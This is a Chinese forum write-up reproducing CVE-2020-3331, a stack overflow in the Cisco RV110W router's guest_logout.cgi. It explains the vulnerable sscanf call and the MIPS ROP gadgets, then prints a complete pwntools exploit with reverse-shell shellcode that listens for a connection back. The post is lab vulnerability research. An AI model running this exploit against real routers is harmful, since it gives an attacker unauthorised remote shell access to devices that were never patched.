-
-
[原创]Cisco RV110W 远程代码执行漏洞分析(CVE-2020-3331)
-
2022-3-16 20:49 9574
-
概述
本漏洞存在于CISCO RV110W-E-CN-K9(固件版本1.2.2.5),漏洞原因是cgi接口guest_logout.cgi中存在栈溢出漏洞,而因为mips本身不支持NX从而导致可以使用shellcode得到shell
环境搭建
由于不想入手路由器故采用了这位师傅所搭建的项目firmianay/IoT-vulhub: IoT 固件漏洞复现环境 (github.com),感谢这位师傅提供的环境
漏洞分析
漏洞程序是/usr/sbin/下的httpd文件,拖入ida搜索字符串guest_logout_cgi定位到guest_logout_cgi函数,发现漏洞点
1 2 3 | if ( !strstr(v11, "status_guestnet.asp" ) ) goto LABEL_31; sscanf(v11, "%[^;];%*[^=]=%[^\n]" , v29, v28); |
这里的sscanf函数通过正则表达式将v11中的数据分别存储到v29和v28中,其中v29存储的是分号前的所有字符,而v28存储的是不在分号后和等号前但在等号后换行符前的所有字符
而v11来自submit_button处
1 | v11 = (const char * )get_cgi( "submit_button" ); |
再来看一下这个接口所需要的其他数据
1 2 | v5 = (const char * )get_cgi(( int ) "cmac" ); v6 = (const char * )get_cgi(( int ) "cip" ) |
这里尝试构造payload,使用mipsrop插件在程序中寻找gadget,但是由于程序本身的gadget存在00会导致截断所以尝试在libc中寻找gadget,程序的libc在/lib/libc.so.0处,找到两个可以利用的gadget
1 2 | | 0x000257A0 | addiu $a0,$sp, 0x38 + var_20 | jalr $s0 | 0x0003D050 | move $t9,$a0 | jalr $a0 |
第一个gadget的作用是将$sp+0x18放入a0寄存器然后再跳转到$s0寄存器所指向的地址处,第二个的作用是跳转到$a0寄存器所指向的地址,那么我们就可以通过将shellcode写入到$sp+0x18处,然后将返回地址覆盖为第一个gadget,并提前将so寄存器的值改为第二个gadget这样程序就会执行我们的shellcode,整体流程如下
1 2 3 4 5 | jr $ra / / addiu $a0,$sp, 0x18 ;jalr $s0 jalr $s0 / / move $t9,$a0 ; jalr $a0 jalr $a0 / / shellcode |
exp
这里因为项目里所提供的exp是使用msf生成的所以并没有使用该exp,而是使用了另一位师傅的exp,完整exp如下,这里libc基址需要根据自己的环境改动下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 | from pwn import * import thread,requests context(arch = 'mips' ,endian = 'little' ,os = 'linux' ) io = listen( 31337 ) libc = 0x2af98000 jmp_a0 = libc + 0x0003D050 # move $t9,$a0 ; jalr $a0 jmp_s0 = libc + 0x000257A0 # addiu $a0,$sp,0x38+var_20 ; jalr $s0 shellcode = "\xff\xff\x04\x28\xa6\x0f\x02\x24\x0c\x09\x09\x01\x11\x11\x04\x28" shellcode + = "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode + = "\xa6\x0f\x02\x24\x0c\x09\x09\x01\xfd\xff\x0c\x24\x27\x20\x80\x01" shellcode + = "\x27\x28\x80\x01\xff\xff\x06\x28\x57\x10\x02\x24\x0c\x09\x09\x01" shellcode + = "\xff\xff\x44\x30\xc9\x0f\x02\x24\x0c\x09\x09\x01\xc9\x0f\x02\x24" shellcode + = "\x0c\x09\x09\x01\x79\x69\x05\x3c\x01\xff\xa5\x34\x01\x01\xa5\x20" shellcode + = "\xf8\xff\xa5\xaf\x01\x64\x05\x3c\xc0\xa8\xa5\x34\xfc\xff\xa5\xaf" shellcode + = "\xf8\xff\xa5\x23\xef\xff\x0c\x24\x27\x30\x80\x01\x4a\x10\x02\x24" shellcode + = "\x0c\x09\x09\x01\x62\x69\x08\x3c\x2f\x2f\x08\x35\xec\xff\xa8\xaf" shellcode + = "\x73\x68\x08\x3c\x6e\x2f\x08\x35\xf0\xff\xa8\xaf\xff\xff\x07\x28" shellcode + = "\xf4\xff\xa7\xaf\xfc\xff\xa7\xaf\xec\xff\xa4\x23\xec\xff\xa8\x23" shellcode + = "\xf8\xff\xa8\xaf\xf8\xff\xa5\x23\xec\xff\xbd\x27\xff\xff\x06\x28" shellcode + = "\xab\x0f\x02\x24\x0c\x09\x09\x01" payload = "status_guestnet.asp" + 'a' * 49 + p32(jmp_a0) + 0x20 * 'a' + p32(jmp_s0) + 0x18 * 'a' + shellcode paramsPost = { "cmac" : "12:af:aa:bb:cc:dd" , "submit_button" :payload, "cip" : "192.168.1.100" } def attack(): try : requests.post( "https://192.168.1.1/guest_logout.cgi" , data = paramsPost, verify = False ,timeout = 1 ) except : pass thread.start_new_thread(attack,()) io.wait_for_connection() log.success( "getshell" ) io.interactive() |
参考链接
[1]:思科路由器 RV110W CVE-2020-3331 漏洞复现 | Clang裁缝店 (xuanxuanblingbling.github.io)
[2]:[原创]思科RV110W CVE-2020-3331漏洞调试与iot靶场搭建-智能设备-看雪论坛-安全社区|安全招聘|bbs.pediy.com
[3]:HWS赛题 入门 MIPS Pwn | Clang裁缝店 (xuanxuanblingbling.github.io)
[4]:IoT-vulhub/Cisco/CVE-2020-3331 at master · firmianay/IoT-vulhub (github.com)
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。